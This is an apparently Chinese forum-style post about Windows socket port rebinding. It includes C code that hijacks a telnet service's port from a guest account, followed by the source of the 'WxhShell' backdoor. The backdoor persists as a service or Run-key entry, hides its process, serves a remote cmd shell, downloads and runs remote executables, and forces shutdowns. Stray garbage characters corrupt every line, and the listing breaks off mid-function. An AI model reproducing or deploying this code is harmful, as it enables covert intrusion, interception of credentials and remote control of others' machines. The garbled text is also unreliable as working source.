在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
4f+R}Ee7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
fv?vO2nj ^Y"c1f2 saddr.sin_family = AF_INET;
`em}vdY D,Ft*(|T saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Ik_u34U 8RC7Ei bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
rOC2 S(m OmO/x 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9Yg=4>#$ I8=p_Ie 这意味着什么?意味着可以进行如下的攻击:
Si[:l E;7vGGf] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
t)Q6A@$: 1^<R2x 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
We]mm3M3 NijvFT$V1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
~Dsz9 f Nrp0z: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
RLkP)+t no_(J>p^& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#Fx$x#Gc@y v`i9LD0( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$6~ J#; Y_qRW. k 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
</,RS5ukn +
k1|+zzS #include
Ji<^s@8Zc #include
LIM
cZh ; #include
o5(`7XV6D #include
)%D2JC DWORD WINAPI ClientThread(LPVOID lpParam);
@SH%l] int main()
Un{hI`3] {
5.st!Lp1 WORD wVersionRequested;
^_dYE]t DWORD ret;
[o]^\ay WSADATA wsaData;
*m_B#~4 BOOL val;
4c"x&x| SOCKADDR_IN saddr;
h`X>b/V SOCKADDR_IN scaddr;
Z]H`s{3 int err;
rp*f)rJ SOCKET s;
,'~8{,h5 SOCKET sc;
$GI2rzh int caddsize;
px!lJtvgo HANDLE mt;
yHS=8! DWORD tid;
8*O] wVersionRequested = MAKEWORD( 2, 2 );
9H$$Og err = WSAStartup( wVersionRequested, &wsaData );
>0yx!Iao if ( err != 0 ) {
YcJZG|[ printf("error!WSAStartup failed!\n");
CF|c4oY 82 return -1;
4{!7T }
.GG6wL<$? saddr.sin_family = AF_INET;
)m .KV5K! Rlvb@aXgy //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
E .2b@ /:-8 ,` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
YKF5|;} saddr.sin_port = htons(23);
H=2sT +Sp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`Mj>t( {
Y](kMNUSg printf("error!socket failed!\n");
e
C\;n return -1;
di^E8egR$ }
`?Wy;5- val = TRUE;
!1+yb.{\ //SO_REUSEADDR选项就是可以实现端口重绑定的
G&i<&.i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
B&J;yla6`d {
.L;M-`^ printf("error!setsockopt failed!\n");
)HPt(Ck return -1;
rkw^ RW^ }
ILsw' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
y7[D9ZvZ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!/pE6)a //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]Puu: IG n)]]g3y2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
<PCa37 {
#SNwSx& ret=GetLastError();
oqu; D'8 printf("error!bind failed!\n");
)n8(U%q$ return -1;
}u"iA^'Ot }
N_AAh D listen(s,2);
(of=hzT^? while(1)
rGPFPsMQ] {
C'4gve 7! caddsize = sizeof(scaddr);
83rtQ;L //接受连接请求
"P4#Q_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+&t`"lRl& if(sc!=INVALID_SOCKET)
u} y)'eH {
%`r Z]^H mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
NkWU5E!
if(mt==NULL)
oA_T9uh[ {
.Y;ljQ printf("Thread Creat Failed!\n");
{<\ [gm\X break;
-)S(eqq1 }
lPA:aHcj }
>]DnEF& CloseHandle(mt);
6pyLb3[e }
Q};g~b3 closesocket(s);
BT?)-wS WSACleanup();
dEz7 @T return 0;
~0S_S +e }
sj@B0R=Qo DWORD WINAPI ClientThread(LPVOID lpParam)
^zdZ"\x {
KHK|Zu#k' SOCKET ss = (SOCKET)lpParam;
\EP<r SOCKET sc;
==$>M
d unsigned char buf[4096];
Yh=/?&* SOCKADDR_IN saddr;
h/T^+U?-< long num;
2(5HPRQ DWORD val;
~Q q0 DWORD ret;
*{}Y
: //如果是隐藏端口应用的话,可以在此处加一些判断
K,pQ11J //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q?e]N I^ saddr.sin_family = AF_INET;
xMck A<E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9rO,h|L saddr.sin_port = htons(23);
DB1F_! 9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
D;~c`G
"f {
4d\1W?i- printf("error!socket failed!\n");
FQc8j:' return -1;
u ##.t }
5W
UM"eBwL val = 100;
x>Hg.%/c[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6gUcoDD {
&y164xn'h ret = GetLastError();
s\7]"3:wD return -1;
6xLLIby, }
'"#W!p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zUw=e}?: {
JqX+vRY;dd ret = GetLastError();
XeGtge/}T return -1;
})zYo 7 }
Hchh2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
KW17CJ@ {
U_1syaY! printf("error!socket connect failed!\n");
"mBX$t'gb closesocket(sc);
"YUh4uZ~P closesocket(ss);
:fxG]uf-P return -1;
U9uy(KOW }
ups]k?4 while(1)
#!a}ZhIt {
fu}ZOPu //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^ Tr )gik //如果是嗅探内容的话,可以再此处进行内容分析和记录
p3sR>ToJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
h[%t7qo= num = recv(ss,buf,4096,0);
3%"r%:fQB/ if(num>0)
bV'^0(Zv send(sc,buf,num,0);
K6C@YY( else if(num==0)
X`REhvT break;
BKiyog num = recv(sc,buf,4096,0);
F_Pv\?35z if(num>0)
g;|3n& send(ss,buf,num,0);
_A[k&nO!&J else if(num==0)
@zz4,,] break;
G)vq+L5% }
YIb=rR[ $ closesocket(ss);
;r**`O closesocket(sc);
,-55*Rb i return 0 ;
!|SVRaS }
nhbCk6Y5LZ n/>^!S @k"Q e&BQ ==========================================================
:Adx7!6 /FP;Hsw% 下边附上一个代码,,WXhSHELL
IW Ro$Yu )QeXA) ==========================================================
~Ogtgr &mG1V #include "stdafx.h"
Xm#E9 9 7Nw}
} #include <stdio.h>
v>e%5[F #include <string.h>
}ZP;kM$g #include <windows.h>
`^mPq?f #include <winsock2.h>
3bCb_Y
#include <winsvc.h>
@raw8w\Zj+ #include <urlmon.h>
@W{VT7w &}YJ"o[I #pragma comment (lib, "Ws2_32.lib")
Py&DnG'H #pragma comment (lib, "urlmon.lib")
'G6M:IXno o~
v #define MAX_USER 100 // 最大客户端连接数
Jp'XZ]o\ #define BUF_SOCK 200 // sock buffer
+Wr"c #define KEY_BUFF 255 // 输入 buffer
I UMt^z ^rHG#^hA #define REBOOT 0 // 重启
ZSB_OS[N #define SHUTDOWN 1 // 关机
X =sC8E dx zc}qAy'< #define DEF_PORT 5000 // 监听端口
\.@fAgv ^oL43#Nlo #define REG_LEN 16 // 注册表键长度
`{1&*4! #define SVC_LEN 80 // NT服务名长度
PT`];C(he W.B>"u // 从dll定义API
47GL[ofY typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{~Q9jg(A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
RB\0o,mw4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~^6[SbVb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}qqE2;{ND xK8n~.T(' // wxhshell配置信息
n$jOk
|W struct WSCFG {
dn"&j1@KY int ws_port; // 监听端口
5BztOYn, char ws_passstr[REG_LEN]; // 口令
U c6]]Bbc int ws_autoins; // 安装标记, 1=yes 0=no
5tSR2gG#K, char ws_regname[REG_LEN]; // 注册表键名
7tEK&+H` char ws_svcname[REG_LEN]; // 服务名
}I1A4=d char ws_svcdisp[SVC_LEN]; // 服务显示名
"0,d)L0," char ws_svcdesc[SVC_LEN]; // 服务描述信息
\`nRgYSE char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q|!}&= int ws_downexe; // 下载执行标记, 1=yes 0=no
QG|KZ8uO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
vf|lF9@U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
} Fw/WD 0<,Q7onDD: };
+IRr&J*P Vy+%sG
q" // default Wxhshell configuration
4 ^=qc99 struct WSCFG wscfg={DEF_PORT,
i?*_-NAm "xuhuanlingzhe",
I6k S1 1,
[f_4%Now "Wxhshell",
rh8.kW-K_ "Wxhshell",
:9_N
Y"P "WxhShell Service",
sSh=Idrx "Wrsky Windows CmdShell Service",
e)(m0m\ "Please Input Your Password: ",
B/iRR2h 1,
j-?zB.jAh "
http://www.wrsky.com/wxhshell.exe",
%XpYiW#AK "Wxhshell.exe"
nE~HcxE/ };
qWQ7:*DL |L@9qwF // 消息定义模块
-w0U}Te^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
))pp{X2m char *msg_ws_prompt="\n\r? for help\n\r#>";
Rk1B \L|M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^m3[mY [a char *msg_ws_ext="\n\rExit.";
QGWfF,q char *msg_ws_end="\n\rQuit.";
oAMB}a; char *msg_ws_boot="\n\rReboot...";
@V9qbr=Z char *msg_ws_poff="\n\rShutdown...";
TQcEe@$) char *msg_ws_down="\n\rSave to ";
M~6x&|2 /c`s$h4- char *msg_ws_err="\n\rErr!";
Cb{n4xKW6 char *msg_ws_ok="\n\rOK!";
fnZa IV=H SM<kR1bo char ExeFile[MAX_PATH];
f9Vxtd int nUser = 0;
C< :F<[H HANDLE handles[MAX_USER];
U%Igj:%?;` int OsIsNt;
RWN2P6 #ny&bJj SERVICE_STATUS serviceStatus;
yf2I%\p} SERVICE_STATUS_HANDLE hServiceStatusHandle;
5i 6*$#OM_ *jBn
^ // 函数声明
g _2m["6* int Install(void);
AADvk_R int Uninstall(void);
:4{;^|RgU int DownloadFile(char *sURL, SOCKET wsh);
Uf:G,%OYi int Boot(int flag);
liYR8 D
| void HideProc(void);
5M.KF;P int GetOsVer(void);
|bHId!d int Wxhshell(SOCKET wsl);
?q68{!{bi void TalkWithClient(void *cs);
U?MKZL7 int CmdShell(SOCKET sock);
&HPzm6.3 int StartFromService(void);
33R_JM{ int StartWxhshell(LPSTR lpCmdLine);
D^E+#a 1 ""j(wUp-W VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>=|;2*9v VOID WINAPI NTServiceHandler( DWORD fdwControl );
A[,[j?wC jslfq@5v // 数据结构和表定义
q=o"]
6 SERVICE_TABLE_ENTRY DispatchTable[] =
Qx_K) {
m &U
$V {wscfg.ws_svcname, NTServiceMain},
o9tvf|+z {NULL, NULL}
-rEg(@S % };
K?y!zy wbC'SOM // 自我安装
)u. ut8![T int Install(void)
[7QIpt+FSo {
|_Y[931< char svExeFile[MAX_PATH];
&"90pBGK HKEY key;
W6Os|z9&| strcpy(svExeFile,ExeFile);
lL*k!lNs jY]hMQ/H // 如果是win9x系统,修改注册表设为自启动
uq}>5 if(!OsIsNt) {
&DqeO8?Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_]W
}6?i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{
.z6J)?J2 RegCloseKey(key);
;'o:1{Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R!v ?d2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%H-(-v^T* RegCloseKey(key);
#-QQ_ return 0;
kUl:Yj=& }
(I?CW~3# }
nly`\0C }
u6~|].j R else {
6j]pJ]F6 ty8\@l // 如果是NT以上系统,安装为系统服务
zUw9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
c`'2 if (schSCManager!=0)
}v'jFIkhI {
u>G#{$) SC_HANDLE schService = CreateService
FyXz(l: (
}y-b<J?H schSCManager,
KUC (n! wscfg.ws_svcname,
va(ZGGS]N wscfg.ws_svcdisp,
zU+` o?al SERVICE_ALL_ACCESS,
^JDiI7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
k$V.hG|6M SERVICE_AUTO_START,
(_}w4N# SERVICE_ERROR_NORMAL,
NFc@Kz<H svExeFile,
/<(d.6T[}: NULL,
P|"U NULL,
=R M=@X NULL,
htn "rY( NULL,
sA3=x7j%c NULL
^-CQ9r* );
UMg*Yv% if (schService!=0)
AZmABl {
Bn7~ p+N CloseServiceHandle(schService);
VQ{.Ls2`Z CloseServiceHandle(schSCManager);
GEg8\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9(%ptnya strcat(svExeFile,wscfg.ws_svcname);
&Rgy/1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
/4\!zPPj. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7Y:~'&U| RegCloseKey(key);
W$x'+t5H return 0;
H3=U|wr| }
S`LS/) }
@v1f)(N CloseServiceHandle(schSCManager);
|[k/% }
A7~~{9 }
Az_s"}G 3pSkk return 1;
Q\H_lB }
{DPobyvwFk u`l1
zMk // 自我卸载
WcyN,5 int Uninstall(void)
kfF.Ctr1a {
t^h{D HKEY key;
rPV\ F Pg3O )D9 if(!OsIsNt) {
v3(W4G` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bg\~" RegDeleteValue(key,wscfg.ws_regname);
*o8DfZ RegCloseKey(key);
6Xjr0C+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Nz+Jf57t RegDeleteValue(key,wscfg.ws_regname);
I("J$ RegCloseKey(key);
} k[gR I] return 0;
b"+J8W }
M1Jnn4w*d }
\R>!HY }
;cBFft}D else {
Qt_LBJUWV )'{:4MX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
NX?J if (schSCManager!=0)
Ybr&z7# 2 {
N?d4Pu1m SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
kRBPl99 if (schService!=0)
nw3CI&Y` {
[XA
f=x if(DeleteService(schService)!=0) {
tqY) CloseServiceHandle(schService);
+zpmy3Q CloseServiceHandle(schSCManager);
9/LI[{ return 0;
,|4%YaN.3 }
1mw<$'pm0 CloseServiceHandle(schService);
h"S+8Y:1{k }
`[JX}<~i CloseServiceHandle(schSCManager);
Re <G#*^ }
M[ea!an }
*$nz<? 4_3
DQx9s return 1;
y0Pr[XZ }
i%7b)t[y gt5 // 从指定url下载文件
b??k|q int DownloadFile(char *sURL, SOCKET wsh)
;C8'7 {
*)c,~R^ HRESULT hr;
g->cgExj char seps[]= "/";
P=K+!3ZXo char *token;
A*ImruV char *file;
.!kqIx*3 char myURL[MAX_PATH];
|okS7.|IX char myFILE[MAX_PATH];
,c:Fa)- 0zg\thL strcpy(myURL,sURL);
Aj06"ep token=strtok(myURL,seps);
28L3"c while(token!=NULL)
PjEKZHHz
{
]XEkQ file=token;
&Y2mLPB token=strtok(NULL,seps);
GI}h)T }
zT|]!', .'Vjs2 2 GetCurrentDirectory(MAX_PATH,myFILE);
XDvT#(Pu strcat(myFILE, "\\");
C[$uf strcat(myFILE, file);
)1H$5h send(wsh,myFILE,strlen(myFILE),0);
kI974:e42 send(wsh,"...",3,0);
YX+Da"\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
|9)Q =( if(hr==S_OK)
'vO+,- return 0;
hia_CuY# else
;b:Ct < return 1;
wVD-}n1" (o,&P9 }
ruM16*S{= z<~gv" // 系统电源模块
Xidt\08s int Boot(int flag)
6Cut[*lj^ {
v~:$]a8 HANDLE hToken;
3\6UH TOKEN_PRIVILEGES tkp;
T!o 4k rt5UT~ if(OsIsNt) {
/ey[cm2#[s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9V&%_.Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N1ZHaZ tkp.PrivilegeCount = 1;
Fkas*79 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$smzP.V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
K,YKU?z6 if(flag==REBOOT) {
p8F5b8]* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ek' return 0;
iq`y }
zzfwI@4 else {
f<A Bs4w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
STp}?Cb return 0;
VIL #q }
Ml8 '=KN_ }
ANh5-8y else {
x,"'\=|s* if(flag==REBOOT) {
vB, X) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
hM2^[8 return 0;
'j];tO6GfC }
uQ#3;sFO else {
|MvCEp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
xz YvD{> return 0;
JpDc3^B* }
6vz9r)L }
@*W,Jm3Y : g/H N9 return 1;
`zAo IQ }
j3F[C:-zY s% `o // win9x进程隐藏模块
Rxld$@~-(] void HideProc(void)
ZWW:-3 {
Y'kD_T`f, + oyW_!( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
D.|h0gU if ( hKernel != NULL )
'3eP<earRP {
( B$;'U< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
XiI@Px?FL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
pLL
^R FreeLibrary(hKernel);
Dm6WSp1|b }
Bsw5A7,- 94"R&| return;
pU)wxv[~ }
]>K%,}PS 7,ODh-?ez // 获取操作系统版本
,dKcxp~[ int GetOsVer(void)
5nzkZw {
)` S,vF~ OSVERSIONINFO winfo;
GOHRBV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
JI5?,
)-St GetVersionEx(&winfo);
^lB'7#7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_I+#K M return 1;
$Y][-8{t else
2#5SI return 0;
ptGM' }
|/zE(ePc{ Q~]#x![u0 // 客户端句柄模块
4`)B@< int Wxhshell(SOCKET wsl)
XbYW,a@w2 {
gPY2Bnw;l SOCKET wsh;
D52ELr7 struct sockaddr_in client;
<T:u&Ic DWORD myID;
OUn,URI R@t?!`f!+ while(nUser<MAX_USER)
UO8#8 {
Z2`(UbG} int nSize=sizeof(client);
e4Ol:V wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
u*Eb4 if(wsh==INVALID_SOCKET) return 1;
/r Zj= "YHqls} c handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_OP75kv if(handles[nUser]==0)
erYpeq. closesocket(wsh);
CD%wi:C%| else
(4n 8[ nUser++;
k61Ot3 }
#Zk6
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%0@Jm)K^ Lm"a3Nb return 0;
P-[6xu+] }
fZH:&EP F))+a&O // 关闭 socket
~oz8B^7i; void CloseIt(SOCKET wsh)
K[PIw}V$?: {
\MQ|( closesocket(wsh);
Rer\=' nUser--;
"CBe$b4 ExitThread(0);
Z.<OtsQN }
t.c XrX`k &%L1n?>Q} // 客户端请求句柄
^rjICF e void TalkWithClient(void *cs)
Uaj8}7v {
cF3V{b|bU $`x4|a8- SOCKET wsh=(SOCKET)cs;
WMZ&LlB% char pwd[SVC_LEN];
(}vi"mCeW char cmd[KEY_BUFF];
)U e9:e char chr[1];
a_w#,^/P int i,j;
l~Hs]*jm 5`*S'W}\> while (nUser < MAX_USER) {
g5lf-}? $fV47;U'* if(wscfg.ws_passstr) {
]$!-%pNv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{LVii}< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f{AbCi //ZeroMemory(pwd,KEY_BUFF);
C^XJE1D. i=0;
#g\O*oYaw while(i<SVC_LEN) {
pJ"Wg@+ ^tIs57! // 设置超时
5Q,#Co fd_set FdRead;
w_q{C>-cR struct timeval TimeOut;
_n@#Lufx FD_ZERO(&FdRead);
q>X#Aaib FD_SET(wsh,&FdRead);
;S+*s 'e TimeOut.tv_sec=8;
]re1$W#* TimeOut.tv_usec=0;
)t{?7wy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
L0Bcx|)"$` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
h)7{Cj ~[e;{45V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(eS4$$g pwd
=chr[0]; v1<3y~'f
if(chr[0]==0xd || chr[0]==0xa) { M%5qx,JQY
pwd=0; nAG2!2_8
break; Zsc710_
} (e6JI]tz{
i++; TZT i:\nS
} i[sHPEml(5
xCz(qR
// 如果是非法用户,关闭 socket _@;t^j+l
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v#{Sx>lO
} C:xgM'~+
lt`(R*B%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ({i}EC7{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QI'ul e
t J
N;WK.6
while(1) { !E8y!|7$
v\PqhI y"
ZeroMemory(cmd,KEY_BUFF); A}?n.MAX>
zs:OHEZw
// 自动支持客户端 telnet标准 zBtlkBPu
j=0; P!3)-apP\
while(j<KEY_BUFF) { IWERn
v!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .(^KA{
cmd[j]=chr[0]; b^_#f:_j
if(chr[0]==0xa || chr[0]==0xd) { {DJ!T
cmd[j]=0; \]dx;,T
break; S\b[Bq
} X|fl_4NC>
j++; K?o( zh;
} rrbD0UzFA
ZpvURp,I
// 下载文件 WcqQR))n
if(strstr(cmd,"http://")) { ^0py
send(wsh,msg_ws_down,strlen(msg_ws_down),0); N}Q%y(O^
if(DownloadFile(cmd,wsh)) 0Am&:kX't
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uP2e/a
else m1H_kJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b6Pi:!4
} wO9|_.Z{
else { ej,j1iB
FOVghq@
switch(cmd[0]) { }vzP\
Q$_y +[
// 帮助 ~o_0RB
case '?': { >uT,Z,7O
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /5 yjON{
break; FFX-kS
} 0=O(+
yi
// 安装 wd*8w$\
case 'i': { +A%|.;
if(Install()) + 2v6fan
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 15dhr]8E
else pW$ZcnU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ey96XJV
break; F|pM$Kd`
} ~A^E_
// 卸载 Yw @)0%G
case 'r': { qg1s]c~0u
if(Uninstall()) Y1fcp_]m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "g27|e?y
else zGgPW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l7#5.%A
break; IlN: NS
} E| eEAa
// 显示 wxhshell 所在路径 Rr#Zcs!G
case 'p': { ZD!?mR+-
char svExeFile[MAX_PATH]; q_iPWmf
p*
strcpy(svExeFile,"\n\r"); X)7_@,7
strcat(svExeFile,ExeFile); !2L?8oP-z
send(wsh,svExeFile,strlen(svExeFile),0); N~NUBEKcp
break; 9#(Nd, m})
} *{WhUHZF
// 重启 jHjap:i`cI
case 'b': { Nl/^ga
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @cYb37)q=
if(Boot(REBOOT)) r+v?~m!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {<ms;Oi'
else { p1tqwV
closesocket(wsh); IE*eDj
ExitThread(0); >D]g:t@v
} ]90BIJ]*c
break; 4^uQB(}Z
} @7S*
]
// 关机 qFQO1"mu
case 'd': { bmCp:6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3Ye{a<ckK
if(Boot(SHUTDOWN)) rnAQwm-8O%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RfoEHN
else { j-]`;&L
closesocket(wsh); 7pPaHX8
ExitThread(0); \dAs<${(
} suOWmqLs
break; ,bTpD!
} /3Y\s&y
// 获取shell |k.%e4
case 's': { }ejZk
bP
CmdShell(wsh); tKS'#y!R
closesocket(wsh); F/%M`?m"ie
ExitThread(0); oRkh>yj'
break; U80h0t%
} `:b*#@
// 退出 vJ,r}$H3
case 'x': { I<+EXH%1,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lKdd3W"o
CloseIt(wsh); *jQ?(Tf
break; (>.lkR
} z]+&kNm
// 离开 '`s+e#rs4{
case 'q': { r>ziQq8C&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); X!xmto
closesocket(wsh); gN@|lHbU
WSACleanup(); 52,[dP,g
exit(1); Am
~P$dN
break; B,S~Idr}
} gwGw
} &9Kni/
} -UB XWl
}INj~d<:
// 提示信息 TJ_Wze-lQ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gpw,bV
} OLS/3c
z
} X
aE;i57$l
Z".Xroq~
return; \>$3'i=mQ
} rP{Jep!
P,J+'.@
// shell模块句柄 Y_zMj`HE
int CmdShell(SOCKET sock) 'MgYSP<
{ c/DK31K
STARTUPINFO si; O!G!Gq&
ZeroMemory(&si,sizeof(si)); &+5ij;AD
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QYg V[\&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C4aAPkcp2$
PROCESS_INFORMATION ProcessInfo; lrjVD(R=g
char cmdline[]="cmd"; $c{fPFe-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~ &<Ls
return 0; g@2KnzD
} E1j3c
:2
9?iA~r|+
// 自身启动模式 5szJ.!(
int StartFromService(void) \
)WS^KR%
{ 6H1;Hl
f
typedef struct F| jl=i
{ riZ :#I
DWORD ExitStatus; KCIya[$*
DWORD PebBaseAddress; Y&<]:)
DWORD AffinityMask; \RqH"HqD
DWORD BasePriority; W3zYE3DZf
ULONG UniqueProcessId; mBeP"G S
ULONG InheritedFromUniqueProcessId; t"s$YB>}
